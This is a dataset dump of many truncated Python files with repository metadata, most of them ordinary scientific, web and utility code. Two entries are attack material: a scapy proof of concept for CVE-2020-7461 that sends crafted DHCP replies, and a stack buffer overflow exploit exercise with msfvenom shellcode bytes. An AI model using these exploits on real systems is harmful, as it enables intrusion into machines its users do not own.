max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
Cylinder/input_files/pp.py | marchdf/turbulent-cylinder | 0 | 12775551 | <reponame>marchdf/turbulent-cylinder<filename>Cylinder/input_files/pp.py
# ========================================================================
#
# Imports
#
# ========================================================================
import argparse
import os
import numpy as np
import scipy.spatial.qhull as qhull
im... | 2.21875 | 2 |
tests/r/test_engel.py | hajime9652/observations | 199 | 12775552 | <reponame>hajime9652/observations<gh_stars>100-1000
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import shutil
import sys
import tempfile
from observations.r.engel import engel
def test_engel():
"""Test module engel.py by downloading
engel.csv and... | 2.5 | 2 |
evaluation/metrics/metric_getters.py | adinawilliams/dynabench | 15 | 12775553 | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import yaml
from metrics.instance_property import instance_property
from metrics.metrics_dicts import (
delta_metrics_dict,
eval_metrics... | 2.234375 | 2 |
latent_programmer/tasks/robust_fill/dsl.py | shaun95/google-research | 1 | 12775554 | # coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 2.90625 | 3 |
flystim/flystim/audio.py | ClandininLab/multistim | 0 | 12775555 | <reponame>ClandininLab/multistim
import sys
import pyaudio
from time import sleep, time
import numpy as np
from flyrpc.transceiver import MySocketServer
from flyrpc.util import get_kwargs
def sine_song(sr, volume=1.0, duration=1.0, freq=225.0):
t = np.linspace(0, duration, round(duration * sr))
sa... | 2.40625 | 2 |
schedule/migrations/0003_auto_20160715_0028.py | PicaMirum/django-scheduler | 4 | 12775556 | <filename>schedule/migrations/0003_auto_20160715_0028.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('schedule', '0002_event_color_event'),
]
operations = [
migrations.A... | 1.765625 | 2 |
poc.py | knqyf263/CVE-2020-7461 | 12 | 12775557 | #!/usr/bin/python
from scapy.all import *
import binascii
src_mac = "[YOUR_MAC_ADDR]"
dst_addr = "192.168.33.123"
src_addr = "192.168.33.11"
gateway = "192.168.33.1"
subnet_mask = "255.255.255.0"
iface = "[YOUR_INTERFACE]"
filter = "udp port 67"
def handle_packet(packet):
eth = packet.getlayer(Ether)
ip = ... | 2.5625 | 3 |
Session 05 - Functions/importexample.py | boragungoren-portakalteknoloji/METU-BA4318-Fall2018 | 0 | 12775558 | import mysamplefunctions
variable = -5
print("variable is:", variable)
abs = mysamplefunctions.absolute(variable)
print ("absolute value is:", abs)
from mysamplefunctions import areatriangle
w = 5
h = 10
print("area is:", areatriangle(width=w, height=h) )
from mysamplefunctions import areacircle, summation
radius ... | 3.65625 | 4 |
tdrn2cartucho.py | KenYu910645/mAP | 0 | 12775559 | <reponame>KenYu910645/mAP<filename>tdrn2cartucho.py<gh_stars>0
# This code convert result.txt to input/detection-results/
# result.txt is yolov4 model detection output file
input_result_path = "/Users/lucky/Desktop/VOC07/-1_VOC0712_test/results/"
input_annoated_path = "/Users/lucky/Desktop/VOCdevkit/VOC2007/Annota... | 2.484375 | 2 |
mml/data/adult/adult.py | feedbackward/mml | 0 | 12775560 | '''H5 data prep'''
## External modules.
import csv
import numpy as np
import os
import tables
## Internal modules.
from mml.config import dir_data_toread
from mml.config import dir_data_towrite
from mml.utils import makedir_safe
###############################################################################
## Cl... | 2.046875 | 2 |
built-in/TensorFlow/Official/cv/image_classification/MobileNetV2_for_TensorFlow/00-access/dataloader/data_provider.py | Huawei-Ascend/modelzoo | 0 | 12775561 | # Copyright 2017 The TensorFlow Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 2.25 | 2 |
record.py | Petroochio/audio-story-book | 0 | 12775562 | import board
import audioio
import audiobusio
import digitalio
import time
import array
import math
buf = bytearray(16000)
print(3)
time.sleep(1)
print(2)
time.sleep(1)
print(1)
time.sleep(1)
#print("recording", time.monotonic())
print("recording")
#trigger = digitalio.DigitalInOut(board.A1)
#trigger.switch_to_output... | 3.03125 | 3 |
src/shurjopay_v2/callbackHandler.py | shurjoPay-Plugins/python | 0 | 12775563 | <reponame>shurjoPay-Plugins/python
from collections import namedtuple
from contextlib import closing
from io import BytesIO
from json import dumps as json_encode
import os
import sys
import requests
import json
import datetime
import logging
import os
# Gets or creates a logger
logger = logging.getLogger(__name__)
# s... | 2.140625 | 2 |
pythermiagenesis/const.py | CJNE/pythermiagenesis | 5 | 12775564 | <filename>pythermiagenesis/const.py
"""Constants for ThermiaGenesis integration."""
KEY_ATTRIBUTES = 'attributes'
KEY_ADDRESS = 'address'
KEY_RANGES = 'ranges'
KEY_SCALE = 'scale'
KEY_REG_TYPE = 'register_type'
KEY_BITS = 'bits'
KEY_DATATYPE = 'datatype'
TYPE_BIT = 'bit'
TYPE_INT = 'int'
TYPE_UINT = 'uint'
TYPE_LONG =... | 1.820313 | 2 |
src/infrastructure/utils/utils.py | YegorMedvedev/python-onion-scaffold | 1 | 12775565 | <filename>src/infrastructure/utils/utils.py
import os
class Singleton(type):
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
return cls._instances[cls]
def get_port() -> int:
... | 2.515625 | 3 |
1-stack-overflows/dostackbufferoverflowgood/exploit.py | anvbis/windows-exp | 0 | 12775566 | #!/usr/bin/env python3
from pwn import *
padding = b'\x41' * 146
nops = b'\x90' * 128
# msfvenom -p windows/exec -b '\x00\x0a' -f python CMD=calc.exe
shellcode = b""
shellcode += b"\xba\xe8\x19\x31\x9d\xda\xda\xd9\x74\x24\xf4\x5e\x2b"
shellcode += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xe7\xfb"
shellcode... | 1.554688 | 2 |
main.py | enesdemirag/cifar10-classification | 1 | 12775567 | <gh_stars>1-10
import os
import warnings
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
warnings.filterwarnings("ignore", category=FutureWarning)
warnings.filterwarnings("ignore", category=UserWarning)
from preprocessing import get_data_from_tensorflow
from models import MLP
import matplotlib.pyplot as plt
import numpy as n... | 2.53125 | 3 |
submissions/bulls-and-cows/solution.py | Wattyyy/LeetCode | 0 | 12775568 | # https://leetcode.com/problems/bulls-and-cows
class Solution:
def getHint(self, secret, guess):
s_used, g_used = set(), set()
bull = 0
for idx, (s_char, g_char) in enumerate(zip(secret, guess)):
if s_char == g_char:
bull += 1
s_used.add(idx)
... | 3.421875 | 3 |
src/travel/migrations/0001_initial.py | dakrauth/travel | 5 | 12775569 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
from django.conf import settings
import travel.models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL... | 1.695313 | 2 |
lambda_functions/process/merge_mbtiles/lambda_function.py | hotosm/MapCampaigner | 24 | 12775570 | import sys
sys.path.insert(0, 'dependencies')
import boto3
import json
import os
import shutil
from glob import glob
from os.path import join
from sqlite3 import connect
S3 = boto3.client('s3')
BUCKET = os.environ['S3_BUCKET']
CAMPAIGN_TILES = 'campaign.mbtiles'
PATH = '/tmp'
def list_mbtiles(uuid):
mbtiles_fol... | 2.265625 | 2 |
back-end/app/models.py | guguji123/blog | 0 | 12775571 | <gh_stars>0
from app.extensions import db
from werkzeug.security import generate_password_hash, check_password_hash
from flask import url_for, current_app
# import base64
from datetime import datetime, timedelta
import jwt
import hashlib
class PaginatedAPIMixin(object):
@staticmethod
def to_collection_dict(qu... | 2.21875 | 2 |
cid/__init__.py | managedbyq/cid | 0 | 12775572 | __version__ = '0.2.2'
default_app_config = 'cid.apps.CidAppConfig'
| 1.125 | 1 |
Python 1/BaskaraMelhorado.py | FamousLuisin/Python | 0 | 12775573 | <reponame>FamousLuisin/Python
"""Faça um programa que calcule as raizes da equação:
sem raiz: esta equação não possui raízes reais
uma raiz: a raiz desta equação é X ou a raiz dupla desta equação é X
duas raizes: as raízes da equação são X e Y"""
import math
def main():
a = int(input("Digite o valor de a: "))
... | 4.0625 | 4 |
kipoi_containers/singularityhandler.py | kipoi/kipoi-containers | 0 | 12775574 | from dataclasses import dataclass
from pathlib import Path
from typing import Dict, Union, List, Type
import os
from ruamel.yaml.scalarstring import DoubleQuotedScalarString
from kipoi_containers.singularityhelper import (
build_singularity_image,
update_existing_singularity_container,
push_new_singularit... | 2.28125 | 2 |
test/scloud/test_provisioner.py | harsimranmaan/splunk-cloud-sdk-go | 0 | 12775575 | import unittest
import test
def provisioner(*args):
return test.scloud("provisioner", *args)
class TestProvisioner(unittest.TestCase):
def setUp(self):
# retrieve the selected tenant name
code, self.tname, _ = test.scloud("get", "tenant")
self.assertEqual(0, code)
self.asse... | 2.96875 | 3 |
familysearch/discovery.py | teoliphant/familysearch-python-sdk-opensource | 1 | 12775576 | # -*- coding: utf-8 -*-
"""FamilySearch Discovery submodule"""
# Python imports
# Magic
class Discovery(object):
"""https://familysearch.org/developers/docs/api/tree/FamilySearch_Collections_resource"""
def __init__(self):
"""https://familysearch.org/developers/docs/api/resources#disc... | 2.515625 | 3 |
cruds/templatetags/crud_tags.py | poiedk/django-cruds | 43 | 12775577 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os.path
from django.utils import six
from django.db import models
from django import template
from django.urls import (
NoReverseMatch,
reverse,
)
from django.utils.html import escape
from django.utils.safestring import mark_safe
from cru... | 2.140625 | 2 |
python/Intro/modules/test3.py | Joaxin/GitComments | 0 | 12775578 | from module3 import *
print(generate_code(10)) | 1.101563 | 1 |
kinemparse/kinematics.py | jd-jones/kinemparse | 0 | 12775579 | <gh_stars>0
import numpy as np
from blocks.core import geometry
def updateCovariance(R_new, P, gyro_cov, sample_period, sqrt_mode=False):
""" NOTE: if sqrt_mode, then P and gyro_cov are assumed to be the
square roots of these respective matrices.
"""
G = sample_period * R_new
if sqrt_mode:
... | 2.46875 | 2 |
tf/parameters.py | gitter-badger/text-fabric | 0 | 12775580 | <filename>tf/parameters.py
import sys
from zipfile import ZIP_DEFLATED
VERSION = '7.8.12'
NAME = 'Text-Fabric'
PACK_VERSION = '2'
ORG = 'annotation'
REPO = 'text-fabric'
URL_GH_API = 'https://api.github.com/repos'
URL_GH = 'https://github.com'
URL_NB = 'https://nbviewer.jupyter.org/github'
DOWNLOADS = '~/Downloads... | 1.828125 | 2 |
config/overviewer/manualpois.py | randomhost/overviewer-config | 2 | 12775581 | <gh_stars>1-10
# vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4 filetype=python:
####################################################################################################
# Dependencies
####################################################################################################
global json... | 1.796875 | 2 |
app/behaviors/mail_behavior.py | Joeper214/mailingapp | 0 | 12775582 | from ferris.core.ndb import Behavior
from app.behaviors.sanitize import Sanitize
class MailBehavior(Behavior):
sanitizer = Sanitize()
def before_put(self, instance):
instance.sender = self.sanitizer.sanitize_email(instance.sender)
instance.recipient = self.sanitizer.sanitize_email(instanc... | 2.53125 | 3 |
tag/Brain.py | AymericBasset/Reinforcment_Learning_Tag | 0 | 12775583 | import numpy as np
import random as rd
import tensorflow as tf
from tensorflow import keras
class Brain():
def __init__(self,brain_spec, random = True, weights = None):
self.brain_spec = brain_spec
##INIT
#This is a new brai,
self.neurones = keras.Sequential()
for i in ... | 2.796875 | 3 |
middleman/exceptions.py | lucasrafaldini/proxy | 2 | 12775584 | <reponame>lucasrafaldini/proxy
class ServerNotRespondingException(BaseException):
"""
Exception raised when the requested server is not responding.
"""
def __init__(self, url):
self.url = url
def __str__(self):
return "Url '%s' is not responding." % self.url
class ExceededRequest... | 3.15625 | 3 |
alfi/trainers/trainer.py | mrandri19/alfi | 4 | 12775585 | import time
from abc import abstractmethod
from typing import List
from alfi.models import LFM
import torch
import numpy as np
import gpytorch
from torch.utils.data.dataloader import DataLoader
from alfi.utilities.torch import is_cuda
from alfi.datasets import LFMDataset
class Trainer:
"""
An abstract LFM t... | 2.65625 | 3 |
dvc/parsing/versions.py | lucasalavapena/dvc | 9,136 | 12775586 | <reponame>lucasalavapena/dvc
import enum
from collections.abc import Mapping
from voluptuous import validators
SCHEMA_KWD = "schema"
META_KWD = "meta"
def lockfile_version_schema(value):
expected = [LOCKFILE_VERSION.V2.value] # pylint: disable=no-member
msg = "invalid schema version {}, expected one of {}"... | 2.390625 | 2 |
h1/api/networking_project_netgw_api.py | hyperonecom/h1-client-python | 0 | 12775587 | <reponame>hyperonecom/h1-client-python
"""
HyperOne
HyperOne API # noqa: E501
The version of the OpenAPI document: 0.1.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from h1.api_client import ApiClient, Endpoint as _Endpoint
from h1.model_utils ... | 1.96875 | 2 |
src/pose_estimator/utils.py | Liang813/GaitGraph | 57 | 12775588 | <filename>src/pose_estimator/utils.py<gh_stars>10-100
# ------------------------------------------------------------------------------
# Copyright (c) Microsoft
# Licensed under the MIT License.
# Written by <NAME> (<EMAIL>)
# ------------------------------------------------------------------------------
import math
... | 2.28125 | 2 |
arts-main/handlers/registration.py | SilverLineFramework/orchestrator | 0 | 12775589 | <reponame>SilverLineFramework/orchestrator
"""Runtime registration."""
from pubsub import messages
from arts_core.serializers import RuntimeSerializer
from arts_core.models import Runtime
from .base import BaseHandler
class Registration(BaseHandler):
"""Runtime registration."""
def handle(self, msg):
... | 2.125 | 2 |
mkt/api/tests/test_base_urls.py | clouserw/zamboni | 0 | 12775590 | <gh_stars>0
"""Some URLs for test_base.py"""
from django.conf.urls import patterns, url
from rest_framework.decorators import (authentication_classes,
permission_classes)
from rest_framework.response import Response
from mkt.api.base import cors_api_view
@cors_api_view(['POST... | 1.8125 | 2 |
ConversortemperaturaFahrenheit .py | Reloure/curso_basico_python | 0 | 12775591 | <gh_stars>0
temperaturaFahrenheit = input("Digite uma temperatura em Fahrenheit: ")
temperaturaCelsius = (float(temperaturaFahrenheit) -32) * 5/9
print("A temperatura em celsius é",temperaturaCelsius) | 3.703125 | 4 |
python_anvil/api_resources/mutations/generate_etch_signing_url.py | anvilco/python-anvil | 4 | 12775592 | <reponame>anvilco/python-anvil
from python_anvil.api_resources.mutations.base import BaseQuery
from python_anvil.api_resources.payload import GenerateEtchSigningURLPayload
class GenerateEtchSigningURL(BaseQuery):
"""Query class to handle retrieving a signing URL."""
mutation = """
mutation ($signerEi... | 2.46875 | 2 |
aepp/ingestion.py | benedikt-buchert/aepp | 9 | 12775593 | import aepp
from aepp import connector
from copy import deepcopy
import requests
from typing import IO, Union
import logging
class DataIngestion:
"""
Class that manages sending data via authenticated methods.
For Batch and Streaming messages.
"""
loggingEnabled = False
logger = None
def ... | 2.5 | 2 |
lessons/JenniferTimePlugin/plugin.py | 19Leonidas99/JenniferVirtualAssistant | 1 | 12775594 | <reponame>19Leonidas99/JenniferVirtualAssistant<gh_stars>1-10
import inflect
import datetime
import semantic.dates
from lessons.base.plugin import JenniferResponsePlugin
from lessons.base.responses import JenniferResponse, JenniferTextResponseSegment
class JenniferTimePlugin(JenniferResponsePlugin):
PRIORITY = ... | 2.546875 | 3 |
scipy_proceedings/publisher/build_papers.py | ScienceStacks/JViz | 31 | 12775595 | #!/usr/bin/env python
import os
import sys
import shutil
import subprocess
import conf
import options
from build_paper import build_paper
output_dir = conf.output_dir
build_dir = conf.build_dir
bib_dir = conf.bib_dir
pdf_dir = conf.pdf_dir
toc_conf = conf.toc_conf
proc_conf = conf.proc_conf
dirs = co... | 2.296875 | 2 |
botbot_plugins/decorators.py | metabrainz/brainzbot-plugins | 4 | 12775596 | def listens_to_mentions(regex):
"""
Decorator to add function and rule to routing table
Returns Line that triggered the function.
"""
def decorator(func):
func.route_rule = ('mentions', regex)
return func
return decorator
def listens_to_all(regex):
"""
Decorator to add... | 3.515625 | 4 |
MCS/mapred/combiner.py | Wiki-fan/MIPT-all | 0 | 12775597 | <filename>MCS/mapred/combiner.py
#!/usr/bin/env python3
import sys
inside = 0
total = 0
for line in sys.stdin:
arr = line.strip().split(' ')
x, y = float(arr[0]), float(arr[1])
print(x, y, file=sys.stderr)
total += 1
if x**2+y**2<=1:
inside += 1
print('Combiner output %.15f'%(inside/total... | 2.40625 | 2 |
sp_mp.py | NikhilMunna/chinese-checkers- | 2 | 12775598 | import pygame, time
import virtual_start_page
import two_players
def CreateGameWindow(width, height):
pygame.display.set_caption("Checkers !")
gamewindow = pygame.display.set_mode((width, height))
return gamewindow
def WriteText(text, text_pos_x, text_pos_y, text_size):
text_font = pygame.font.SysFont... | 2.921875 | 3 |
main/customtrainer.py | safdark/behavioral-cloning | 0 | 12775599 | '''
Created on Dec 11, 2016
@author: safdar
'''
import basetrainer
class MyClass(basetrainer):
'''
classdocs
'''
def __init__(self, params):
'''
Constructor
'''
| 2.78125 | 3 |
dkr-py310/docker-student-portal-310/course_files/begin_advanced/py_files_5.py | pbarton666/virtual_classroom | 0 | 12775600 | <reponame>pbarton666/virtual_classroom
#py_files_5.py
import pickle as pickle
from junk import JUNK
pickle_file="dill"
#make a couple objects
obj = [ [1, 2, 3],
[4, 5, 5],
[7, 8, 9]
]
obj1="<NAME>"
obj2=set([33,43,53])
#another (better) way:
to_pickle={'obj' : obj,
'obj1': obj1,
... | 3.203125 | 3 |
prepStack-EHU.py | bryanvriel/Gld-timeseries | 0 | 12775601 | <gh_stars>0
#!/usr/bin/env python3
import numpy as np
# import matplotlib.pyplot as plt
from scipy.ndimage.interpolation import map_coordinates
from sklearn.linear_model import RANSACRegressor
import datetime
from tqdm import tqdm
import glob
import gdal
import h5py
import sys
import os
def main():
# Traverse da... | 2.171875 | 2 |
strings/boggle.py | santoshmano/pybricks | 0 | 12775602 | class TrieNode():
def __init__(self, letter=''):
self.children = {}
self.is_word = False
def lookup_letter(self, c):
if c in self.children:
return True, self.children[c].is_word
else:
return False, False
class Trie():
def __init__(self):
se... | 3.9375 | 4 |
weightin/apps/app.py | thomasLensicaen/weightin | 0 | 12775603 | <reponame>thomasLensicaen/weightin<filename>weightin/apps/app.py
import pymongo
from config import DbConfig
import logging
from common.logtool import log_debug, create_logger
class AppBase:
db_name = "appbase"
collections_list = ["appbase"]
def __init__(self, dbconfig: DbConfig):
self.dbconfig = d... | 2.546875 | 3 |
apps/notifications/conf.py | sotkonstantinidis/testcircle | 3 | 12775604 | <reponame>sotkonstantinidis/testcircle
# -*- coding: utf-8 -*-
from django.utils.translation import ugettext_lazy as _
from django.conf import settings # noqa
from appconf import AppConf
class NotificationsConf(AppConf):
CREATE = 1
DELETE = 2
CHANGE_STATUS = 3
ADD_MEMBER = 4
REMOVE_MEMBER = 5
... | 1.859375 | 2 |
text_cryptography/tests/log.py | Joshua-Booth/text-cryptography | 0 | 12775605 | <gh_stars>0
import logging
# Create a logger called 'Tester'
test_logger = logging.getLogger('Tester')
test_logger.setLevel(logging.DEBUG)
# Create a file handler which logs even debug messages
file_handler = logging.FileHandler('test.log')
file_handler.setLevel(logging.DEBUG)
# Create a console handler with a highe... | 3.09375 | 3 |
Python/Udemy/biblioteca.py | ccpn1988/Python | 0 | 12775606 | <filename>Python/Udemy/biblioteca.py
importar os
importar tkinter como tk
root = tk.Tk ()
canvas1 = tk.Canvas (root, width = 300, height = 350, bg = 'lightsteelblue2', relief = 'elevado')
canvas1.pack ()
label1 = tk.Label (root, text = 'Atualizar PIP', bg = 'lightsteelblue2')
label1.config (font = ('helvetica', 20))... | 3.671875 | 4 |
calculate_mupots_integrate.py | 3dpose/3D-Multi-Person-Pose | 91 | 12775607 | import os
import torch
import pickle
import numpy as np
from lib import inteutil
from lib import posematcher
from lib.models import networkinte
from tqdm import tqdm
from TorchSUL import Model as M
from collections import defaultdict
if __name__=='__main__':
## step 1: match the poses
print('Matching poses ... | 2.140625 | 2 |
python/split_scATAC_bam_by_cluster.py | crazyhottommy/scATACtools | 4 | 12775608 | <gh_stars>1-10
#! /usr/bin/env python3
import pysam
import csv
import argparse
import os.path
import sys
parser = argparse.ArgumentParser()
parser.add_argument("csv", help="Required. the FULL path to the cluster csv file with header, \
first column is the cell barcode, second column is the cluster id")
parser.add... | 2.78125 | 3 |
test/testattributenames.py | mvz/vb2py | 2 | 12775609 | <gh_stars>1-10
#
# Turn off logging in extensions (too loud!)
import vb2py.extensions
import unittest
vb2py.extensions.disableLogging()
import vb2py.vbparser
vb2py.vbparser.log.setLevel(0) # Don't print all logging stuff
from vb2py.plugins.attributenames import TranslateAttributes
class TestAttributeNames(unittest.T... | 2.171875 | 2 |
menus/admin.py | sgr-smile2015/website | 1 | 12775610 | from django.contrib import admin
from .models import ResItem
admin.site.register(ResItem)
| 1.234375 | 1 |
tests/__init__.py | luisparravicini/ioapi | 0 | 12775611 | import os
import sys
sys.path.append(os.path.join(os.getcwd(), '..'))
| 1.648438 | 2 |
p053e/max_subarray.py | l33tdaima/l33tdaima | 1 | 12775612 | from typing import List
class Solution:
def maxSubArray(self, nums: List[int]) -> int:
ans, dp = nums[0], 0
for n in nums:
dp = max(dp + n, n)
ans = max(ans, dp)
return ans
# TESTS
tests = [
([-1], -1),
([-2, 1, -3], 1),
([-2, -1, -3], -1),
([-2, 1... | 3.5 | 4 |
secao4_TiposVariaveis/TipoBooleano.py | PauloFTeixeira/curso_python | 0 | 12775613 | <reponame>PauloFTeixeira/curso_python<filename>secao4_TiposVariaveis/TipoBooleano.py
"""
São duas constantes, VERDADEIRO ou FALSO
TRUE: Verdadeiro
FALSE: Falso
OBS.: Sempre começa com Maiuscula
OPERAÇÕES BASICAS
#NEGAÇÃO (not): Sé verdadeiro é falso e se falso é verdadeiro. SEMPRE AO CONTRARIO
... | 2.703125 | 3 |
mediafeed/databases/utils.py | media-feed/mediafeed | 0 | 12775614 | <reponame>media-feed/mediafeed
from logging import getLogger
from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
from ..settings import DATABASE_URL
logger = getLogger('mediafeed.databases')
Base = declarative_base()
engine = create_eng... | 2.078125 | 2 |
src/bioregistry/external/prefixcommons.py | Adafede/bioregistry | 17 | 12775615 | <reponame>Adafede/bioregistry
# -*- coding: utf-8 -*-
"""Download registry information from the Life Science Registry (LSR), which powers Prefix Commons.
.. seealso::
- http://tinyurl.com/lsregistry which should expand to
https://docs.google.com/spreadsheets/d/1cDGJcRteb9F5-jbw7Q7np0kk4hfWhdBHNYRIg3LXDrs/e... | 1.804688 | 2 |
tcapy_examples/gen/mongo_aws_examples.py | Ahrvo-Trading-Systems/tcapy | 189 | 12775616 | <reponame>Ahrvo-Trading-Systems/tcapy
"""This shows how we can connect to an instance of MongoDB Atlas to read/write market tick data
Note, that you will need to get a MongoDB Atlas cloud account, and change the connection string below for it to work
"""
__author__ = 'saeedamen' # <NAME> / <EMAIL>
#
# Copyright 202... | 1.984375 | 2 |
Cura/Uranium/UM/Preferences.py | TIAO-JI-FU/3d-printing-with-moveo-1 | 0 | 12775617 | <filename>Cura/Uranium/UM/Preferences.py
# Copyright (c) 2018 <NAME>.
# Uranium is released under the terms of the LGPLv3 or higher.
import configparser
from typing import Any, Dict, IO, Optional, Tuple, Union
from UM.Logger import Logger
from UM.MimeTypeDatabase import MimeTypeDatabase, MimeType #To register the MIM... | 2.171875 | 2 |
classic/cem.py | podondra/roboschool-rl | 2 | 12775618 | <reponame>podondra/roboschool-rl
# inspired by
# http://rl-gym-doc.s3-website-us-west-2.amazonaws.com/mlss/lab1.html
import numpy
class LinearPolicy:
def __init__(self, theta, env):
obs_dim = env.observation_space.shape[0]
act_dim = env.action_space.n
self.W = theta[:obs_dim * act_dim].res... | 2.65625 | 3 |
dataset_learn_slim.py | zhongdixiu/tensorflow-learn | 0 | 12775619 | # coding=utf-8
"""以MNIST为例,使用slim.data
"""
import os
import tensorflow as tf
slim = tf.contrib.slim
def get_data(data_dir, num_samples, num_class, file_pattern='*.tfrecord'):
"""返回slim.data.Dataset
:param data_dir: tfrecord文件路径
:param num_samples: 样本数目
:param num_class: 类别数目
:param file_pattern... | 2.6875 | 3 |
exercicios/05.py | paulo123araujo/minicurso-python | 0 | 12775620 | <gh_stars>0
def calcula_fatorial(n):
resultado = 1
for i in range(1, n+1):
resultado = resultado * i
return resultado
def imprime_numeros(n):
imprimir = ""
for i in range(n, 0, -1):
imprimir += "%d . " %(i)
return imprimir[:len(imprimir) - 3]
numero = int(input("Digite um n... | 4.0625 | 4 |
distributions/management/commands/load_section_data.py | cvivesa/class_util | 1 | 12775621 | <reponame>cvivesa/class_util<gh_stars>1-10
from pathlib import Path
from csv import DictReader
from django.core.management import BaseCommand
from distributions.models import Term, Course, Section
ALREADY_LOADED_ERROR_MESSAGE = """
If you need to reload the section data from the CSV file,
first delete the db.sqlite3 f... | 2.65625 | 3 |
tests/test_format_fixer.py | Sung-Huan/ANNOgesic | 26 | 12775622 | #!/usr/bin/python
import os
import sys
import csv
import shutil
from io import StringIO
import unittest
sys.path.append(".")
from mock_helper import import_data
from annogesiclib.format_fixer import FormatFixer
class TestFormatFixer(unittest.TestCase):
def setUp(self):
self.fixer = FormatFixer()
... | 2.578125 | 3 |
tools/diagnostics/base_tech_bundle/kafka_bundle.py | snuyanzin/dcos-commons | 0 | 12775623 | <reponame>snuyanzin/dcos-commons
import json
import logging
import sdk_cmd
import config
from base_tech_bundle import BaseTechBundle
logger = logging.getLogger(__name__)
class KafkaBundle(BaseTechBundle):
def create(self):
logger.info("Creating Kafka bundle")
brokers = self.create_broker_list_f... | 1.914063 | 2 |
app.py | mjraines/sqlalchemy-challenge | 0 | 12775624 | <reponame>mjraines/sqlalchemy-challenge
# Dependencies
import numpy as np
import datetime as dt
import sqlalchemy
from sqlalchemy.ext.automap import automap_base
from sqlalchemy.orm import Session
from sqlalchemy import create_engine, func
from flask import Flask, jsonify
# Database Setup
engine = create_engine("s... | 3.328125 | 3 |
authlib/django/client/__init__.py | bobh66/authlib | 1 | 12775625 | <gh_stars>1-10
# flake8: noqa
from authlib.deprecate import deprecate
from authlib.integrations.django_client import OAuth, DjangoRemoteApp as RemoteApp
deprecate('Deprecate "authlib.django.client", USE "authlib.integrations.django_client" instead.', '1.0', 'Jeclj', 'rn')
| 1.09375 | 1 |
crazyserv/packagegenerator.py | Roemer/CrazyServ | 5 | 12775626 | <filename>crazyserv/packagegenerator.py
import random
import numpy as np
from .arena import Arena
from .deliverylogger import DeliveryLogger
from .drone import Drone
class PackageGenerator:
def __init__(self):
self.coordinate_pool = self.define_coordinate_pool()
self.pool_size = self.coordinate_po... | 2.484375 | 2 |
src/data/transforms.py | Valentyn1997/oct-diagn-semi-supervised | 4 | 12775627 | import numpy as np
from PIL import Image
from src.data.rand_augment import RandAugmentMC
import torchvision.transforms as transforms
def pad(x, border=4):
return np.pad(x, [(0, 0), (border, border), (border, border)], mode='reflect')
class RandomPadandCrop(object):
"""Crop randomly the image.
Args:
... | 2.8125 | 3 |
models/base_model.py | Zelipha/AirBnB_clone | 0 | 12775628 | <filename>models/base_model.py
#!/usr/bin/pyhon3
"""
This is a Parent class that will be inherited
"""
import models
import uuid
from datetime import datetime
"""
class BaseModel that defines all common attributes/methods for other classes
"""
class BaseModel:
def __init__(self, *args, **kwargs):
"""ini... | 3.03125 | 3 |
{{cookiecutter.bot_name}}/bot.py | ramnes/cookiecutter-mattermost-bot | 10 | 12775629 | <reponame>ramnes/cookiecutter-mattermost-bot
import os
from marshmallow import Schema
from marshmallow.fields import String
from marshmallow.validate import Equal, Length
from sanic import Sanic, response
from sanic.exceptions import abort
# the Mattermost token or tokens generated when you created your slash webhook... | 2.03125 | 2 |
app.py | EvanLuo42/Exprimere | 0 | 12775630 | <filename>app.py
import json
import uuid
from datetime import timedelta
from flask import Flask, request
from routers.sign import sign
from routers.user import user
from routers.article import article
app = Flask(__name__)
app.register_blueprint(user)
app.register_blueprint(sign)
app.register_blueprint(article)
app.... | 2.140625 | 2 |
src/stk/molecular/functional_groups/functional_groups/aldehyde.py | stevenkbennett/stk | 0 | 12775631 | <reponame>stevenkbennett/stk
"""
Aldehyde
========
"""
from .generic_functional_group import GenericFunctionalGroup
class Aldehyde(GenericFunctionalGroup):
"""
Represents an aldehyde functional group.
The structure of the functional group is given by the pseudo-SMILES
``[atom][carbon](=[oxygen])[hy... | 3.359375 | 3 |
plugins/auth_netrc.py | ppetr/ddupdate | 0 | 12775632 | """
Implement credentials lookup using the ~/.netrc(5) file.
"""
import base64
import binascii
from netrc import netrc
import os.path
from ddupdate.ddplugin import AuthPlugin, AuthError
class AuthNetrc(AuthPlugin):
"""Get credentials stored in the .netrc(5) file.
This is the original storage used before 0.7... | 2.9375 | 3 |
ocempgui/widgets/Bin.py | illume/eyestabs | 0 | 12775633 | <gh_stars>0
# $Id: Bin.py,v 1.29.2.1 2006/08/17 17:06:33 marcusva Exp $
#
# Copyright (c) 2004-2006, <NAME>
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must... | 1.578125 | 2 |
tktrials.py | murphyd2/EPICscrape | 0 | 12775634 | <reponame>murphyd2/EPICscrape
"<NAME> 08-06-18"
from tkinter import ttk
from tkinter import *
from tkinter import filedialog
import EPICscrape
class Application(ttk.Frame):
def __init__(self, master=None):
